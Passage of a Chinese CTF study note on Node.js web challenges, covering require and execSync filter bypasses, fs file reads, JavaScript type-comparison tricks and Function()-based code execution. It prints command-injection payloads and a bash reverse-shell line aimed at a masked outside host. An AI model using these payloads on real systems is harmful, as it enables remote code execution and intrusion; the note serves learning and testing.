[靶场笔记]第十八章
require绕过 这两天刚开始学nodejs,已知require('child_process').exeSync('ls')是用来执行指令的,但有时候require并不存在上下文,也就是说require有可能并没有被定义 所以就会用global.process.mainModule.constructor._load('child_process').execSync('uname -a')替代require execSync绕过 有好几种方法 方法一:函数平替 其中execFileSync只能执行ls之类,他cat不了文件 方法二:数组绕过 直接看payload //注意这里连接require方法和execSync属性之间没有'.' require('child_process')['e'%2b'xecSync']('cat f*') 方法三:fs模块 //列出当前目录下的文件 require('fs').readdirSync('./') //直接读文件 require('fs').readFileSync('fl001g.txt','utf-8') __filename js中用来返回当前模块文件的绝对路径 js类型比较 先看实例代码 为了拿到flag就必须满足a和b长度一致,a输出结果和b不相等,a和flag相加与b和flag相加相等三个条件。 有三种方法 第一种是a[]=1&b[]=1。这里的原理和php中不一样,这是js中!==这一运算符(也叫”严格不相等“)的特性([参考链接](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Strict_inequality#%E7%A4%BA%E4%BE%8B)),在比较对象时不管传入的值是什么他们总是不相等的 之后来到后面的md5中与字符串相加,结果都是[Object object]flag,因此通过 第二种方法的原理和上面一样,payload是??a[a]=1&b[b]=1 第三种是?a[1]=1&b=1,这种方法能行的原因是,在req.query接受到a[1]是,会将它当成一个数组,也就是a=[1],此时a的类型是object,和b的number不一致,所以严格比较通过。在md5中a直接与字符串相加时,会把数组中的默认下标为0的值与字符串相加,此时就会得到1flag。b就更是1flag了,因此通过 Function函数 在nodejs中,这个函数可以拥有和eval()一样的利用价值,具体可以看下面这个例子(参考链接) 也就是他的参数可以是一个return并被执行,所以就可以构造成 return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"') 这里需要注意,Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。并且,由于return并不能回显,只有执行的能力,因此一般会选择用curl外带或者直接反弹shell js get传值特性 router.get('/', function(req, res, next) { res.type('html'); var flag = 'flag_here'; console.log(req.url) if(req.url.match(/8c|2c|\,/ig)){ res.end('111where is flag :)'); } var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){ res.end(flag); }else{ res.end('222where is flag. :)'); } }); 在这段代码里,req.url会把传进来的值都过滤一遍。先来看看payload ...